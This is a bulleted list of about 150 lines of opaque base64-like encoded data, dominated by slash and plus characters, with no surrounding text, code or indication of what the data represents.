- u1/9+//ff/zv8b/9CvIpKc/079wlF+4/+e/+x3/+//oX/8D/5r//D3/1b0jZ3V/xF/5vv/Mf+J/TItgf
- +Pf+h//t7/F/T//v//Y/pAXkf/D/+vP+w//yT/yd/u/f6//+lb/L//Hn/l9/+N3f7//8H/7Cv/D//Bv/
- wX/3L/xffuX//Y//Hv/b28//7//uH/0D//vf5a/+pf/Lg//93ydn5z/+H3/Vb0rLJb/q36TFi//sHzyj
- NPr/+d/8Hr/qN/3fPvm///d/8H/+K2mx83/5F/9vcuT/zf/7r/k/4fX+6r/gl/5fv8s/+Ksf0LLLf/B/
- /rv/wK/4F/+F/+uf+Q//5v/rX/8D/+f/4W/8Fb/H//nFf/i//160eHj/7/4HfvU/+X//z7/q9/ifftu/
- ojr6Pyk78Z/9i//3r/6l//z/+H/8CX/gP3X3//wN/8Ff9it/6f/yZ/4f/9Yf+Ct/2//7T/gH//ff9nf5
- +/6vf/H//uf/w19+9X9Rlvj//h//99+R8j3/xu/xZ1G2+Ff+jZQe/zf+wH/7f/wPfqt/8L/8B3/Z3/s3
- /If/1x9J7t0v/+7/+S/+23/hryQF/b/9in/wV/3K/+sHf+B/TeuLv/7//bf+Hr/6l9GK/f/xr/423/09
- /s+/92f+y9/l//7s//7v/sP/8epX/5X/19/6f9OS77//S//Ff/PX/wP/j3+ckuy/x6/6N/+v3+8f/L9+
- RfU//6rf/5f96v/rH/13/+//4g+8/D/+3T/jX/wD//H/+/p//SP/74sv/q+L//H/+j//7//zH/yVv5jW
- BH7pf/mX/of/6d9KGdrH3/q//pWPf33ii1/5b9Ky07/4J/6P//cv+L//7S//g1/1l/7f/8rv8X9e/V//
- /h/45/8e/+m/+Kv/8T/wv/2//6///c/8P37yD/zHKT78A3/1/f/rL/j9f/V3ye34Jf/TX/l/f/UH/mf/
- 9//23/+D/8Pv/x/8qr/zD/xPL/7AX/Uf/uq/9//4M//vL/78/+Nv/tX/9//+ezym+PrP/AP/m9/2/xh/
- +X//I//+//1/kH6q/pf//e/8v37/P/C/+Q//zz/yV57/g8RYfy2R5H/5/P/4k//BX/4f3/1VP/5//0H/
- 9y//B3/xn0+pEvLqqv/x//7V//c/Vf3Pv5o85v/yV/7f/9I/+Mv/Vkp8/f6v/o/f///+R3//v+n/+jf+
- wV/xT1Iy93/+A//3P/fP/79/w//wzh/4H/6H/zMtOP9ff8/v/6v+wv/rpwipX/GP//7/8z/4f/zn/yD5
- zP/h//Xp//0HfP///B3/wf/ru8Sev+Kf/QP/5f/xl/+7/3f1Z/6rpDb+z5Pf5f/8k//v//p//J/+yP/z
- T/2//4X/7Tf93/7G//vfocDlf7v6v/6S//kP/J9+2/L//u3/wX+3+r//wP/rL/+//63/8f/4e/+v3/vR
- P/AH/orf9P/6L/7ef/BX/4NXFa0hUnZm+gf+sov/9I/9klz+X/w/f++zX/0fkiD+l//3//G7/4H/HmXg
- /q/X/+P/9Zf83//R//wX/t/kmJNT9zv/H385rbb/tf/Hv/i//fn/4P/+e/zf//t/+N/8nf/7X/t//8n/
- 4P/yy6v/6/7v/3/+pf/gf1T96s9+v7////g3Sev/V//zX/grf9v/8+/9B//Df/CXf3n0i//d/+v3+6e/
- XPyff86/+X//I//H1R/4v3/yf/8hf/2X/9d/93//R9/9v//Zu//3v/QX/h+UPfwD/4+/5Ff9vb/Hf/E3
- /p9/Nfl6/9d/+gf+9xSP/Z+/8j/9A//P//Dx//Z//YG/+l/8Jf/Lxf/1b/2Dv/LL/+Of/9V/4D9/9X//
- o7/HL/tvaCH48//rl//+v/oP/Av/7+3fnyLZ//wPJO/nD/s9/qt/8H/72//vf/XurySfiZQJqct/8L9/
- 8Ku3/8Bf8Qf+L7////XH/If/A1mZ/+vf+v1Jz/2iP/CX/Xe/x/958X/94f/gf/HXksf3v33x7xIT/Orn
- /yHFVP/33/jvUFL6z/wDKWSmdeN//B/8FX/j//03/r7/9y/6v/+bu//Xf3j37/wD/8n/8Jf9if/XZ//3
- n/03/l9/2//9v139Tv/nl//gv0jLC/9h+78cUsb5H6Z83t/7fzb/9O/yf/yRn/3qX/v//pN//1/1r/6m
- v/Qv/D3+dxKs/+uv+gcp1Phn/4p/8D/4/cmxPCbt+av/y7//f/8n/4X/63/5vw9+1V/4p/7Lv8fl3v/5
- h/4u/wFZqz/2L/yp//Ov/wv//H/u//pb/sH/+I/9B//v//D//OP/rz/5/yYX/P/8C/+vv+L//i9+l//p
- V/8f3yNVQjbv3/m/a+L3/+EP/NW0+vb3/oH//P/9P/+5/8cf8g/+J//D//0r/sr/4y/5/P+m1bK/9pf+
- z7/Lr/x7/8H/8+/9v/+G//tX/wf/7X/4X/62/+df83v8lxX5TX/9BSXZ/vf/vPoD/8s/8Vf/Lv/A//Fb
- /l//6v/yH/2D/+d/8H9TpnL6f/+nX/7fX/zf/3b1P/+R/+e//Xv8il////zkD/xn/rPfn3yUv+nu//h/
- /zP/4X/7b/+P/+vf+X/+s3/gv/N/U0riq3/wP/wDd3/VLxn/X//O70IJ+L/89/gvKPf0V/0e/82f+X//
- j//3v/lv/xv/49/0f338u/yfv/0/eP4r/s1///88+QP/j//94v/6F/7B/+7f/FV/7f/9z/2B/+Wf+nv8
- R//hr/5Hf+nf+/v/L1f/x1d/4P9IPP9//c///d/4v/0Swuv//re/+39f/y//x9/5f/zn/+HD/+v3+r/+
- td/jV3/3L/8D/9t/+Xf53y/+z7/iD/yHqv/7V/5f/9kv/6f/w//53/2/fsUf+E/8/v/Lx//n3/P7/1+0
- zF9RCud/+if/7/v/4f/+vf/x//zzSQb/59/yD/y//8H/47968Hf94H/78v/62//Af+ff/l3+r7v/AS3/
- /ecXf+//TUnmf/H//l/+UbJ2/8e//gf+w3/nH/hv/h7/+T/4f/37/9ef9A/+ir/zV73+v/7O//D/+hf/
- rz/yD/zz/4//8Vff/x/+j9/kD/wP/td/+/f45X/gH/hf/l93/+/f4//6l/7Av+l///vH/9evpAWqL/+v
- H/yDv6Kq/6f/5O/8Vb/j5f/9F/2H/8mD//1PpOznL/8Tv/1//fI/8H/4Tf/vu//Xn/Qv/hV/4e/yf//V
- tDDym/7qP/6X/rv/9396RbL4b3/5S//D//A/q/6P17/0//wP/6M/8Vf9+78fsnh/5R/4L12QgvhVF3/B
- //W70Ir3//a7U7Lmf/s7/+9/4x/8h38PWkq5+w/+r//hr37wf/yLZEv+71/2+R/4n/zv/8ef+L/9yn/g
- V9Dq1i/+A/+Xv/D/+J//7//9fyST9RP/4D/7y2iB5ctf+t/9yv/t7/2l//Yf+Kf/n6f/97/z+//Kf5WC
- 4v/liqKV/+7f/lf/w//sH/zVv/7/9Uf9g3/1//mv/l//1P/9H335f/6jf+wfePh///W/9N/9/R/8n7/L
- H/hXUjD9D/xvf+sv/b/v0lref/a7/OrPyX3/p+/++7/j//1H/t//1v/2b/6AIvSfpFWL//t//L9+9cd/
- 4D/+F/6y3/T/viZ5+JW/4//9l/z+//Ph//GH/oH/yD9IufPJ//Hn/p//O7n1FKj9Ff/g//4P/9//+1/4
- f/3z/+A//3f+X5S7/0v/wH/+l1OW/P/60//D//wv/D//y//7b/79/4//8f9++Af+qt/j//wD/7z/+x/7
- v36X//Xi+3/CL/0vKEL9Tf/Pf+T//hVf/nvXv+x7R//XX/9//dP/4X97993/+Yv/j9M/8N/6C3/lr/9/
- /6N/4H/6u/zK3/EP/L+u/o9f93/8v/6jP/IX/9//2j/4f1K66P/+936P//vP/L9/UP2Bv+x//gv/p3/w
- X/sH/42/93f5P/723+P//JX/5+/6f/8Pf+kf+J/9jb/63/gD/6df/H++/r//9d+DFhP+SspB/Iq3/+ff
- /g/+p/8z5dz/77/3//5H/9n/+5f/hf/7P/r7/d+/7K+8+0t/5f/9v/z3vwsZ8L+V7MXDo//t7//9/8Ff
- /Mvv/t9/9j+4T674X/sH/ve/x+N/sPmff68/8L/8v//3X/mr/tXf///epu7Jvf4P/sP/7Y/8v/7G//BX
- f/Z//Uf/4H919b9t/9J/8n/8P1/83//87/LL/8L/++IP/Ff+71/1h/4e/8mD/+t//kP/wf/hn/y//6x/
- 8x/8b6r/+3/7z/7M//Nv+L//l//7HyAl/W/+8//3//53/p//wR/47/+fv8f/9Df+n3/7H/gf/4H/6x/4
- D/zqxZf/1x/0B/5Hf+Mv/V+r//Pv/E1/6b//2/6Jv/Qf/g//zv/j7/1v/sX/+4/8e//Af44Wecml+m/+
- wuZ//TspJ/Kf3f2/fuPLX/pv/2//0+/yf/+7z/7Df/7//sv/7//i1/8D/90/9bf9A/+r3+Nn/td/kVaQ
- /q1f/TvT4s5/+g//hf/r7/UH/p3/9//54N/+vz75pf/g7/E//JP/1//8e/ynf+P/+UsoC/ef/I//21/9
- R/7fJ//Xb/p//z3/7D/4P375f/65v9///Tv/g//sf/irLv6Dv/v3IJfyL/gDf9nH/8Av+xP/j9/k7vj/
- /tW////+7/6C//Ov/ccpn/J3/t//2+/yt/zqv/IvoNjvf/17/0BKePxrv/8v//0pK/NP/s//6h/4X/2J
- /9evvvsP/N9/5H/3D/yflAL51//G//vt//mb/IX/52ff/df/1v/x//wX/+9/4Vf8G//h//Tbvvilf+Z/
- +L/9j/9HRStDv5pY4f+ixOv/+Of/j//h//32n/hj/8D/qPpVf+z//X/99//h//on/p9/5//1L/4e5OH+
- ij+QrMR3/8B/83/9U//B//wuqeF/g9aV/rdf///6g/7v/+N//D9/5//rz/89/pv/6O8ktfRf/vr/979/
- 9X/923/mr6a1nX/z//qz/sH//L/+B//Pf/r3/2W/1//1l/yPf9//+d1fSgm1v/H//M/+8d//V/+L/+Hf
- +7/9pv/3P/X7//L//E/8v3+9P/Df/B//lz/w//7T/+9/7n/8n7/72a/6JX/gH/kH/q//8f/4y3+vz//M
- P/Bfu/u//5H/wS/5X35DUgn/5X/32/5fv8kf+H/8p7/tH/jP/v6UjP11/8B/hRaO/u+P/+9/6T/8v//O
- //v7v+z3/y//zf/t3yR37n/6E/+vX/oH/qt/469c/aov/4///C8kfU+B9n/4f/2lf+Cv/q9/l7/l//jv
- /to/8D8m1vnz/8C/8j/8L//N3+9//D9/yW/7D1IK6/X/9S//37/iN/3ftomh/sB//F/4C4lUf+jV//0n
- /B7k8/yvd3/pr/4D/+//8//+H6r/6Z/9Hyj2+c/+wl/9K/+P5T/4T/6P5CX9wj/w//pv/8D//ff/1fd/
- 6X/3L/5f/9eX//ef+H//C//g//5v/p9/yn/5f/+vv+w//K8/Pvq/f8Uv/c///Y//7//k/6Yc9G/yH/6q
- bVo4+FX/5O/7f/yJv+ov/GV/4P/xR/yD/9mX/8fH3/0H/2+IxMf/4H/wr/6HlG/88X/jH/wX/sdf9g9S
- Uvcf+Vt/j//kf/mSFs3/jj/w3777v/2xd/74/+Pil/yP/+GvevAP/rKLn3n7+/2fy3/8d/k/wOI/+Hv/
- 9+/+pv/X3/N7/Nd/56/6tf/vP+jLf+Cf+79/Ba2W/irKKf+2/wL5dP/1L/sv/8M/5//+7f/vf+aP/Qf/
- 83/zV/3Vf+D/+Z//j7/8X/4Hf9l/+X/+sj/wf/s3qr/nf/v9/8B/9w/85d/9C8gj+VVX//cf/3/8V//k
- 7/d/fvUP/he/y//2T/6fZLT/r5/5X3+X/+u//gv/7//6D/wn//f/5vf/337x//0P/4H/0Z/5f1FQQ971
- f/j3/x6/9Ff8if/3T/6B/8d/+Kv/z3/zH3z0q19/+e/+g//T7/JLf/k/+X9f0mLbL/t7/49fRe7RL/vu
- Zwe/6g/9J/7U3+N/+A//r7/1H/gltIb4j/2Kf/DvoS//6n/wP7r7v9+loOOX/Zv/+2/4B/53f+L//Rv/
- Gf/3v/4H/uo/8f/4tf/Bn/jff/3/47f9B49/xX/4f/76f+C/9Pv/r3/g//Eb/oH/zd//H/4f3/sH/6M/
- kSb7r/0P/5c/kxbl/+c/8H/5M/+vv+cf/C9////1L/w/L/7v//ifpujsd/6//pj/+z/+Vb////Rv/t9/
- 77/4S//Gv/7//j8e/G/f/6X/9R/4q//J3+n/uvwD/6vql/+5/+e9//tX/sv/N/kYv/BX/S6/9F/8v//b
- P/H//vX/7z/hP/xl//f/8Tv/gf/u77H6xf/lxy/+77/vD/xffsVv+pP/7e/xK/7G/+03/KX/+z/7B/7K
- /+7Lf+D/+B//nO/+3//m7/8rHvwf/8p//gf+rw9+yS//1X/e9//Pv+Mf/J++/AeJIn/b7/+f/v6knv+a
- v/X//m//wf/j3/2//s3//h/8z2kd9w/8c8nV+lf/xf+LUlO/7f/xn9D6xrv//W8kF+Lfq67/x1/5M7+M
- FlR+j//mD/y//o3f4/+++0v+rz/3//r1/+//gRJG/+j//df8Hv/N3V/99/4V/+A/+R/+8t/j//pjPv8H
- /6P/kUKMX331t/+BtKr/7/+Dv+rqf//8//ozKYXyv/+Z/+e/+wf+6j/w//j8D6Q3f8f/+18jbfzv/Z+/
- 8S/9x3//X/4X/l+/w3d/j1/1Z372q//7X/rf/4f/2X/0e/zvv+Xv8av/53/yD/zP/8Bf+St/t7/xl/53
- v8e//X+vf+lf+u//g7/8f/zz/u9/+w/8Zb/Lu//jd/k///x/8Q/8a//DX/3L/6tf8R/+fke0FPjf/4O/
- 6n+jxZD/+x/4D5f/+9/5fz/6A/+9f/Xi//6n/u3/8Vf+j//HL/39/8/f9h//Pf6vf5dSLb/3//6r7v4f
- n/xff8bv8ct+WwoQ/o2/8y/8v/+Kf/A/+xt/1a/4A//U34O07T/7f/8Nf+Iv/S9/+d/4d//qz2nt4/9+
- +xf+vv/d7//v/9//6C/9T7/8v/7Tf5AyIn/7//Dv/f1X/8sf+P3/485dcmP/o6v/89f9G/8viuH+xP/7
- 9P/+Rf/r7/h//ct/4P/65/8nv+n/9f3/+x/7D//zf/N//73+73/o/yaT+rf/X3/Lf/if/43/19/6B/77
- /+D//J/8YoqN7v3vv+xP/F//hN////4LPv+//9u/8H/5j36X/+vBP/ArP/8L/89f/Qf+I9X//av/+b/g
- /1z+gf/y//0X/F+/+7949H/e/7/+of97TMuhv/zj3+NX/Gf/y5/5S3/5n/jn/77/xy/8M//v/+bzP/X/
- /l/+t9/0//olv/S/+d//yv/ht/4P//fv/4P/5/mvvvrfftP/9f/6p36PX3X34FdN/+9/6//+z3+PX/XP
- /oH/6v9N+Dyg/Pf6//rFpJH/0X/wf/2v/sX//cf/77/876Qlsz/23777f/6Lv/L//kv/5//7//wNf+l/
- 92c+/j9/21/6L/6Dv/L/+u7v8n/+O//ji//rv/4f/68/+A/817/8v5a/4g/8W/6u/+Pv/L//qz/19/gV
- v/L//DP/wP/5b/xlf+7//av+wf/pt/0DibD/4q/8v/7w//C//fJ///d/6R/5v/z+v/p/+G3/wX/2+H//
- N79P69D/7H/4E//Hl8hI/MTf+it/j//zq8//wf/qP/tv/sK/8Zf+y//hr3hATh35y7/4L/y//pg/8L/5
- N/+3/+7j//vfJb38/f/72f/9T/2H/+sFBd//1l/4f9/7B//1v/Bv+T//wP/r3/kHaZB/+1/zy37///sP
- /Pt+5e/4f/wb//e/+n//Gf/nH05ZWySL/sD/4G/9H/+v6f/9K3+P/+PL/+vX/wd/9e//f/4u//7//R/8
- je9+1W/62S/5X//K//vX/z1+2eH/8Vv+3//T7/F//LXP/u//8+7/+Vv+3//QH/hfPf6/3/5f/+T//b/9
- p+QQ/e9/OCmGX/lX/h9/xz/4G+cf/9I/8j/8Vb/L//m9f+CvoxWz8//7X/zf/v7/4PGjP+v/IBr/h7/i
- 81/yq7/79//qt7/HrzqlkOhP+r9+rz/wV/1vv+0f+H//TX/PL/tf/sdf9Vf+h//H+P/+L//BX/FXfvF/
- /UH/4X/72/7k//2//I+/4uP/48dpBJTx/g//REp7/pJ19St////9X/2//srf/we/4n/9/X/1X/of/Pu0
- QPU3/9//xb//n/2blLL+Dyjn/n//B38irUP/Z9Wv/t7v9H/+i//g//In/up/8P/+H//Of/DfpVDu3p8I
- 1/1/+xt/1f/5f/0N/+B/9W/+b//0X/ir/t5f+h/+/jSP//o/ePB/Vr/0z/0H/6//8X/7XejH//wH/m+/
- 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
- //3ZP/37/69/5v95/Xv8irv/x7/8B/7jf+Av/73+wH/+P/yv/sD/6/+6oAzL//3v/4e/8j/8/f79X/3j
- /9d//Q/+Z//yv/0H/h8f03rZr/g9/q6r/+v//AP/83+dFlz+r1/+3/2dlHf5F379f/C/+B9/9X/7f/7B
- v8cvO/uf/8BfSv7zb/qf/h7/67/wFxKj/Kn/4D/6+//q/xn+2PcoifK//so/8w/8Vf/g//Yr/8+/9U/9
- v/8LWqH6E//A//bL//O7//cf8g/+l7/Hn/V//Yn/97/6q6pf/iUFl/8Y+/3/82/7u/yPf/4v/b//m3/7
- f/tX/8L/43f8pX/mH/g//C6/+j//A/+L//B/I5n5A//L/5R+/qo/9f/6i//p5f/+Z/5fv/N//w//Lr/6
- 36Rg9r/78v++/8/+vf/gr/y//+e7v8v//Q//g//0H/jL/9z/O/9d/vR/8D/6r37///3zX0oU/WPhG/yZ
- tDD4j/yP5Ab9qn/wf/8X/8//8/f7v37H35asMmVo/pvf41cSyX//n/kVd//Pv+QP/O+q//1v/b//VEoS
- EmP9C//h/0WG6l/88v/+O++++KX/411Sjv/rn/n3Pf6/1r/0j/xP/s7/+1f/X//53T/wV5Mlo0XHP/gP
- /D9+0/9j/UvJ7/j3/+//8Rf/37+cUrG/0y/5pf/Hr/y/ij/wH8Ui4a//z/7+/+3f+H/+l3/gP/t7tP/t
- X/l//4m////01/5ff9zv8Z/+hZTF+b/+w7/z//7P/9KP/8ej//M//L//xr/09/gv/mXK0/7H/+Cv+sX/
- x3/zd/6N/9df9A/+j//j//H5L6X88L/5f/2Pv8v/9fv93//G//juf/+9/kHKAf3n//Lv/7/9nf855eT/
- j9f/1//y+//flIz5v/6FX/W7/LL/+n/8X//J/+PP+AP/7f/7f/9t33z8B/4L/+r//d//j7/qL/0F/9dv
- /A/+st//f/4zKfP+z/+DlHr78/7A//Hu//Z9yp7+t3/v/036kNbBf/9/+v/6C/5FyhVv/1//0v/9P/yF
- v/R/+u/+xF/1j//f/9Sf+x/+37////Gf/l9/7e//b/yC//vqe5S6+v3/x+p//z//hV/6D/8e/+v3/q9/
- 9eLzv/I//PL/oiXFB7/qu/8ALff94b/HL6uum//zt/wH//Nf9c/+h//xH/i/rX+///Of+Af/DUrc/Xu/
- +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
